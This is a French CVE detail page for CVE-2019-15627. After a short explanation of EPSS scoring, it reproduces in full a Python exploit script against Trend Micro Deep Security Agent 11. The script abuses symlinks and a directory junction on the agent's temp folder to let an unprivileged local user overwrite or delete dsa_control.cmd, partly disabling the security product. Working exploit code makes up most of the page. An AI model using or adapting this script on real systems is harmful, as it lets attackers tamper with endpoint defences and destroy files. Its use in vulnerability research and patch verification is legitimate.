CVE-2019-15627 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite # Exploit Author : Peter Lapp # Exploit Date: 2019-12-05 # Vendor Homepage : https://www.trendmicro.com/en_us/business.html # Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716 # Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise. # CVE: 2019-15627 # CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec) # This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools ) # The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations) # This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS, # even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired. # When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately. # The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file. # While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file. # So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage, # then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces, # and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that # are ripe for the writing that can then point to a malicious binary. # Usage: # 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part. # 2. Open a browser (preferrably IE) and start the script # 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript). # 4. Keep refreshing the page until you see the script create the target file overwritten. # # It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit. import time import os import subprocess import sys import webbrowser from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class Stage1_Handler(FileSystemEventHandler): def __init__(self): self.filenames = [] def on_created(self, event): filename = os.path.basename(event.src_path) if filename in self.filenames: print ('Starting symlink creation.') watcher1.stop() symlinkery(self.filenames) else: self.filenames.append(filename) print ('File %s created.') % filename class Stage2_Handler(FileSystemEventHandler): def on_any_event(self, event): if os.path.basename(event.src_path) == 'dsa_control.cmd': print "Target file overwritten/deleted. Cleaning up." subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True) subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True) os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"') os.system('rmdir /S /Q "C:\\test"') os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp') watcher2.stop() sys.exit(0) class Watcher(object): def __init__(self, event_handler, path_to_watch): self.event_handler = event_handler self.path_to_watch = path_to_watch self.observer = Observer() def run(self): self.observer.schedule(self.event_handler(), self.path_to_watch) self.observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: self.observer.stop() self.observer.join() def stop(self): self.observer.stop() def symlinkery(filenames): print "Enter symlinkery" for filename in filenames: print "Creating symlink for %s" % filename cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename subprocess.Popen(cmdname, shell=True) os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig') os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test') watcher2.run() print "Watcher 2 started" try: os.mkdir('C:\\test') except: pass path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus' path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\' watcher1 = Watcher(Stage1_Handler,path1) watcher2 = Watcher(Stage2_Handler,path2) switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d" subprocess.Popen(switcheroo, shell=True) watcher1.run()